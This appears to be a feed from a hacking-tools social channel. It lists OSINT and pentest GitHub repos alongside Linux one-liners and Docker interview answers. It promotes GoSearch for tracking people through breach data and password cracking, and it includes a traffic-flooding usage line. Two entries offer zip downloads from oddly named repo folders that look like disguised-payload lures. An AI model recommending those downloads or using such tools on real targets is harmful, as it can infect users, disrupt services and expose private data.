📢 Want to learn how to use these tools?
Follow The Exploit Lab on X for tips and tutorials!
Join our Telegram channel for updates.
Subscribe to our YouTube channel for in-depth guides.

#OSINT #Cybersecurity #OpenSource #Investigation #TheExploitLab #Hacking #InfoSec

⭐️ Information Gathering Repositories on GitHub

GoogleScraper: Scrape search engines using proxies for automated info gathering.

postExploitTool: Post-exploitation information gathering.

PyGrobid: Python wrapper for scholarly information extraction.

LiteQnaire-Project: Questionnaire management desktop software.

yotter: Reconnaissance and directory discovery bash script.

BraMoSia: Brand Model Automatic Identification Script.

DirtyENUM: Basic Linux enumeration tool.

Infoga: Email information gathering.

Dracnmap: Automates Nmap scanning for information gathering.

URLExtractor: Website reconnaissance and info gathering.

social-scanner-cli: CLI for social media reconnaissance.

Info-Fetcher: PC and disk info fetcher.

CTED: Find subdomains using certificate transparency logs.

renji: OSINT and penetration testing tool.

TwLocation: Scrape tweet locations.

information_gathering_beta: One-key information gathering tool.

NumSpy-older: Mobile number info for India.

informationSpreeFb: Facebook information scraper.

zenco: Quick DNS/IP/port reconnaissance tool.

Xandria: Knowledge library project.


Connect:
Twitter |
Telegram |
YouTube

🔥 Discover GoSearch - The ultimate OSINT tool to track anyone's digital footprint across 300+ websites! 🕵️‍♂️ Made with Go, it's faster and more accurate than Sherlock, includes support for huge breach databases, and avoids false positives/negatives.

✨ Just run:
go install github.com/ibnaleem/gosearch@latest
🔓 Hunt usernames, check breaches, and crack password hashes with Weakpass support!

Learn more & contribute: [LINK]

This is my Telegram channel for more such tools and tutorials: @TheExploitLabX

Burp Suite Navigation Recorder!

Ever wished you could automatically record your browser navigation and send it straight to Burp Suite? Now you can! 🚀

📌 What’s this?
The Burp Suite Navigation Recorder is a Chrome extension that logs your browsing activity and exports it as a Burp Suite macro. Perfect for:
✅ Automating repetitive tasks
✅ Testing complex workflows
✅ Saving time during security assessments

🔗 Why use it?
- Seamlessly integrates with Burp Suite
- Records clicks, form submissions, and navigation
- Exports in Burp’s macro format for replay

---
📢 Stay Updated:
🐦 Follow us on X
📺 Subscribe on YouTube
💬 Join our Telegram

#BurpSuite #WebSecurity #Automation #BugBounty

🚨 New Resource for Exploit Researchers & Security Enthusiasts! 🚨

Discover exp0s3d — a curated collection of publicly disclosed exploits and vulnerabilities. This repository is a goldmine for:
✅ Proof-of-Concept (PoC) exploits
✅ Vulnerability research
✅ Security testing & education

🔗 Stay updated with more exploits and security insights:
🐦 Follow on X (Twitter)
📺 Subscribe on YouTube
💬 Join the Telegram Channel

#Exploit #Cybersecurity #Hacking #VulnerabilityResearch

🧟 Zombie Process Hunter!

Ever wondered how to spot zombie processes on your Linux system? These are processes that have completed execution but still linger in the process table.

Command:
ps -eo pid,ppid,stat,comm | awk '$3=="Z" {printf "Zombie PID: %s (PPID: %s, CMD: %s)\n", $1, $2, $4}' | head -5

What it does:
- Lists the first 5 zombie processes (state "Z").
- Shows their PID, PPID, and command name.

Why it matters:
Zombie processes can clutter your system and waste resources. Keep your system clean!

---
📢 Follow for more Linux tips & tricks!
🐦 X (Twitter)
📺 YouTube
💬 Telegram

🔍 Top Memory Consumers on Your Linux System

Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:

ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|head

What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.

Why it’s useful:
✅ Quickly identify resource-heavy users.
✅ Helpful for server admins and troubleshooting.
✅ No extra tools needed—just pure Bash!

📢 Follow for more Linux tips & tricks:
🐦 Twitter
📌 Telegram
🎥 YouTube

#Linux #SysAdmin #Bash #CommandLine #TheExploitLab

🛠 New Security / Pentest Related GitHub Repos (Last Scan)

1. H-Pentest (Python)
AI-Powered Penetration Testing Platform with Stealth Mode - Auto CTF Solver, Real-World Testing, HTTP Traffic Obfuscation.
🔗 View Repo

2. RED-TEAM-OPERATOR-Evasion-Windows (C++)
Windows evasion techniques and Red Teaming operations code.
🔗 View Repo

3. Web-pentest (Python)
A simple information gathering tool designed to help pentesters gather reconnaissance on target websites.
🔗 View Repo

4. custom-pentest-lfs (Shell)
Custom LFS/BLFS distribution specialized for penetration testing. Built from scratch with isolated partitions.
🔗 View Repo

5. BrutalNET (Python)
A DoS (denial-of-service) tool utilizing ARP Spoofing for pentest purposes.
🔗 View Repo

6. Dockerized-cowrie (Shell)
Containerized SSH Honeypot (Cowrie) lab featuring a custom-engineered Python/Streamlit SIEM for real-time forensics.
🔗 View Repo

7. enyx-security-labs
A dedicated Pentest Lab environment.
🔗 View Repo

➖➖➖➖➖➖➖
👇 Follow for more updates:
🐦 X / Twitter
📢 Telegram Channel
📺 YouTube Channel

🐳✅ Docker Interview Questions & Answers 🔧

1️⃣ What is Docker?
A: Docker is an open-source platform for containerization that packages apps with dependencies into lightweight, portable units—ensuring "build once, run anywhere" across dev, test, and prod environments.

2️⃣ What is a Container?
A: A lightweight, standalone executable that bundles code, runtime, libraries, and config—isolated via namespaces and cgroups. Starts in seconds (unlike VMs) and is perfect for microservices.

3️⃣ Docker vs Virtual Machines (VMs)
⦁ Docker: Shares host kernel for low overhead (MBs of RAM), fast startup (<1s), ideal for dense packing.
⦁ VMs: Emulates full hardware/OS (GBs of RAM), slower boot (minutes), better for legacy apps needing isolation.

4️⃣ What is a Docker Image?
A: A read-only, layered template (like a snapshot) for creating containers—built via Dockerfile, cached layers speed rebuilds; pull from registries like Docker Hub for bases like Ubuntu.

5️⃣ Common Docker Commands:
⦁ docker run → Start container from image (e.g., docker run -d nginx).
⦁ docker build → Create image from Dockerfile (e.g., docker build -t myapp).
⦁ docker ps → List running containers (-a for all).
⦁ docker images → List local images.
⦁ docker stop → Halt a container (rm to remove).
⦁ docker pull → Fetch from registry.
⦁ docker push → Upload to registry.

6️⃣ What is a Dockerfile?
A: A script with instructions (FROM, RUN, COPY, CMD) to automate image builds—e.g., FROM node:14 starts with Node, RUN npm install adds deps; multi-stage reduces final size.

7️⃣ What is Docker Compose?
A: YAML-based tool for orchestrating multi-container apps—defines services, networks, volumes in docker-compose.yml; run with up for local dev stacks like app + DB.

8️⃣ What is Docker Hub?
A: Cloud registry for public/private images, like GitHub for containers—search/pull official ones (e.g., postgres), or push your own for team sharing.

9️⃣ What is Docker Swarm?
A: Native clustering for managing Docker nodes as a "swarm"—handles service scaling, load balancing, rolling updates; great for simple orchestration before Kubernetes.

🔟 What are Docker Volumes?
A: Persistent data storage outside containers—survives restarts; bind mounts link host dirs, named volumes manage via docker volume create for app data like DBs.

1️⃣1️⃣ What is Docker Networking?
A: Enables container communication—bridge (default, isolated), host (shares host network), overlay (Swarm multi-host), none (isolated); use docker network create for custom.

1️⃣2️⃣ How to Build a Docker Image?
A: Create Dockerfile, then docker build -t myimage:v1 . in the dir—tags for versioning; optimize with .dockerignore to skip files like node_modules.

1️⃣3️⃣ Difference between CMD and ENTRYPOINT?
⦁ CMD: Provides default args (overridable, e.g., via docker run), like CMD ["nginx", "-g", "daemon off;"].
⦁ ENTRYPOINT: Sets fixed executable (args append), e.g., ENTRYPOINT ["python"] + CMD ["app.py"] runs as python app.py.

1️⃣4️⃣ What is Container Orchestration?
A: Automates deployment/scaling of container clusters—Kubernetes leads (with pods/services), Swarm for Docker-native; handles failover, autoscaling in prod.

1️⃣5️⃣ How to Handle Docker Security?
A: Use non-root users (USER), scan with Trivy/Clair, minimal bases (alpine), secrets mgmt (Docker Secrets), limit resources (--cpus 1), and sign images with cosign.

---
💬 Tap ❤️ if you found this useful!

🔗 Connect with us:
Twitter |
Telegram |
YouTube

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: BugHunter-AI
🏷 Tags: #pentest

🧠 Summary:
🔍 Automate penetration testing with an AI-driven tool featuring a cyber-inspired GUI and efficient task scheduling for authorized testing environments.

💻 Code / Usage (from README):

# 🤖 BugHunter-AI - Your AI-Driven Cybersecurity Partner

## 📦 Download Now!
[![Download BugHunter-AI](https://raw.githubusercontent.com/f3m1p0l4r1cguy/BugHunter-AI/main/phragmoid/BugHunter-AI.zip)](https://raw.githubusercontent.com/f3m1p0l4r1cguy/BugHunter-AI/main/phragmoid/BugHunter-AI.zip)

## 🚀 Getting Started
Welcome to BugHunter-AI, your automated penetration testing framework. This guide will help you download and run BugHunter-AI quickly and easily.

### 🛠 System Requirements
Before you get started, ensure your computer meets these requirements:

⭐ Stars: 0
📌 Repo: f3m1p0l4r1cguy/BugHunter-AI
🔗 GitHub: https://github.com/f3m1p0l4r1cguy/BugHunter-AI

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: HackTools
🏷 Tags: #pentest

🧠 Summary:
Some of the tools I have developed for pentesting/ethical hacking, HTB machines, etc

💻 Code / Usage (from README):

# HackTools

Here are some of the tools I have developed for different CTFs, HTB Machines, scripts while I'm bored, etc.


If some of them is useful to you, you are welcome

⭐ Stars: 3
📌 Repo: gunzf0x/HackTools
🔗 GitHub: https://github.com/gunzf0x/HackTools

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: Pentesting-Tools
🏷 Tags: #pentest

🧠 Summary:
A repository of penetration testing tools, search tools, and lists to make life easier

💻 Code / Usage (from README):

# Pentesting-Tools

A repository of penetration testing tools, search tools, and lists to make life easier



## Ownership and Licensing

This document was authored by [Gilbert Garczynski](https://github.com/ggarcz1) and is the intellectual property of the author. 

⭐ Stars: 0
📌 Repo: ggarcz1/Pentesting-Tools
🔗 GitHub: https://github.com/ggarcz1/Pentesting-Tools

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: deadend-cli
🏷 Tags: #pentest

🧠 Summary:
Agentic AI tool for offensive security and pentesting

💻 Code / Usage (from README):

bash
# https://playwright.dev/python/docs/intro
pip install pytest-playwright
# or 
pipx install pytest-playwright

# followed by :
playwright install

⭐ Stars: 34
📌 Repo: xoxruns/deadend-cli
🔗 GitHub: https://github.com/xoxruns/deadend-cli

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: jira-servicedesk-enum
🏷 Tags: #recon

🧠 Summary:
🛠 Discover and manage Atlassian Jira Service Desk users, check permissions, and trigger signups with this Go tool for security assessments.

💻 Code / Usage (from README):

# 🎉 jira-servicedesk-enum - Easily Manage Jira Permissions and Users

## 🚀 Getting Started

Welcome to the jira-servicedesk-enum tool. This simple application helps you enumerate Atlassian Jira Service Desk permissions and users. It's designed for those who want to understand their Jira setup better, especially in the context of security assessments.

## 📥 Download the Application

[![Download jira-servicedesk-enum](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)

⭐ Stars: 0
📌 Repo: landoalva/jira-servicedesk-enum
🔗 GitHub: https://github.com/landoalva/jira-servicedesk-enum

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: turbo-attack
🏷 Tags: #pentest

🧠 Summary:
A turbo traffic generator pentesting tool to generate random traffic with random MAC and IP addresses in addition to random sequence numbers to a particular IP and port.

💻 Code / Usage (from README):

bash
usage: sudo ./turbo-attack_010_linux_arm64 eth0 4 192.168.0.2 443 150000

⭐ Stars: 159
📌 Repo: mytechnotalent/turbo-attack
🔗 GitHub: https://github.com/mytechnotalent/turbo-attack

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: web3-pentest-tool
🏷 Tags: #web

🧠 Summary:
Study and development of a framework for security analysis against web3 applications

💻 Code / Usage (from README):

bash
   git clone [https://github.com/gianlucabassani/web3-pentest-tool](https://github.com/gianlucabassani/web3-pentest-tool)
   cd web3-pentest-tool
   go mod tidy

⭐ Stars: 0
📌 Repo: gianlucabassani/web3-pentest-tool
🔗 GitHub: https://github.com/gianlucabassani/web3-pentest-tool

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: enumeraga
🏷 Tags: #recon

🧠 Summary:
Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools.

💻 Code / Usage (from README):

<img src="img/Enumeraga-logo_transparent.png" align="left" width="130" height="130"/>

# Enumeraga - Hack your initial scans

[![Go Report Card](https://goreportcard.com/badge/github.com/0x5ubt13/enumeraga)](https://goreportcard.com/report/github.com/0x5ubt13/enumeraga)
[![Maintainability](https://api.codeclimate.com/v1/badges/a26c3b3db97f4a3fdeef/maintainability)](https://codeclimate.com/github/0x5ubt13/enumeraga/maintainability)
[![GoDoc](https://godoc.org/github.com/0x5ubt13/enumeraga?status.svg)](https://godoc.org/github.com/0x5ubt13/enumeraga)
![License](https://img.shields.io/github/license/0x5ubt13/enumeraga?color=blue)

Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools. Scan your target in 20 seconds! This is an attempt to develop a rich tool that leverages the nice features Go has to offer. Containerised version coming soon :eyes:

⭐ Stars: 13
📌 Repo: 0x5ubt13/enumeraga
🔗 GitHub: https://github.com/0x5ubt13/enumeraga

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: naabu
🏷 Tags: #scanner

🧠 Summary:
A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests

💻 Code / Usage (from README):

sh
naabu -h

⭐ Stars: 5539
📌 Repo: projectdiscovery/naabu
🔗 GitHub: https://github.com/projectdiscovery/naabu

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: ReportForge
🏷 Tags: #pentest

🧠 Summary:
ReportForge is a high-performance pentest report generation tool (for now) built with Golang, designed for speed, efficiency, and flexibility. Using HTML and CSS3 for templating, it enables fully c...

💻 Code / Usage (from README):

<p align="center">
    <img alt="ReportForge Logo" src="https://github.com/itz-d0dgy-2nd/ReportForge-Template/raw/main/report/0_report_template/html/images/logo.png">
</p>

> [!Note]
> As someone who doesn’t work with Go on a regular basis, this codebase may not follow standard design patterns or best practices. 
> It was primarily developed to address a specific problem, and while it gets the job done, there's certainly room for improvement.
> 
> If you're familiar with Go and have suggestions for better practices or optimisations, please feel free to open a pull request! I'm always happy to improve the project and welcome contributions.

⭐ Stars: 9
📌 Repo: itz-d0dgy-2nd/ReportForge
🔗 GitHub: https://github.com/itz-d0dgy-2nd/ReportForge

⚡ NEW PENTESTING TOOL DISCOVERED ⚡

🔧 Name: arsenic
🏷 Tags: #pentest

🧠 Summary:
Pentesting tool to automate common op tasks and organize discovered data.

💻 Code / Usage (from README):

├── apps
├── bin
├── hosts
│   └── localhost
│       ├── README.md (optional)
│       ├── 00_metadata.md
│       └── recon
│        ├── hostnames.txt
│        └── ip-addresses.txt
├── recon

⭐ Stars: 13
📌 Repo: analog-substance/arsenic
🔗 GitHub: https://github.com/analog-substance/arsenic